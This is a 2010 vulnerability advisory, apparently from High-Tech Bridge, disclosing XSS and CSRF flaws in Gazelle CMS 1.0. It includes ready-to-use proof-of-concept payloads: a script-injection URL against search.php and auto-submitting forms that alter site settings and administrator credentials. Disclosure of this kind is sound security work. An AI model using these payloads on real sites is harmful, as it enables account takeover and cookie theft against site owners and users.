Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in Gazelle CMS

Advisory ID:HTB22409
Product:Gazelle CMS
Vendor:Anantasoft
Vulnerable Versions:1.0 and probably prior
Tested Version:1.0
Advisory Publication:May 28, 2010 [without technical details]
Vendor Notification:May 28, 2010
Public Disclosure:June 11, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Gazelle CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in Gazelle CMS
The vulnerability exists due to input sanitation error in the "lookup" parameter in search.php within the Search module. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/search.php?lookup=%22%3E%3Cscript%3Ealert%28document.cookie%29%3 C%2Fscript%3E

2) Cross-site request forgery in Gazelle CMS
2.1 The vulnerability exists due to insufficient validation of the request origin admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change application settings. Existing weakness in the administration interface may also allow arbitrary HTML and script code execution due to insufficient input sanitation in the "sett4" HTTP POST parameter.
Exploitation example:
<form method="post" action="http://host/admin/index.php?Settings" name="main">
<input type="hidden" name="sett1" value="Gazelle CMS Demo" />
<input type="hidden" name="sett2" value="Subtitle" />
<input type="hidden" name="sett3" value="Keywords" />
<input type="hidden" name="sett4" value='Description"><script>alert(document.cookie)</script>' />
<input type="hidden" name="sett5" value="example@example.com" />
<input type="hidden" name="table" value="settings" />
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://example.com/admin/index.php?Users/Edit%20User" method="post" name="main">
<input type="hidden" name="number" value="2" />
<input type="hidden" name="name" value='test' />
<input type="hidden" name="pass" value="" />
<input type="hidden" name="controle" value="" />
<input type="hidden" name="email" value="test@test.com" />
<input type="hidden" name="active" value="on" />
<input type="hidden" name="admin[]" value="2" />
<input type="hidden" name="save" value="Edit" />
<input type="hidden" name="table" value="users" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22409 - https://www.immuniweb.com/advisory/HTB22409 - Multiple Vulnerabilities in Gazelle CMS
[2] Gazelle CMS - anantasoft.com - Gazelle CMS is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential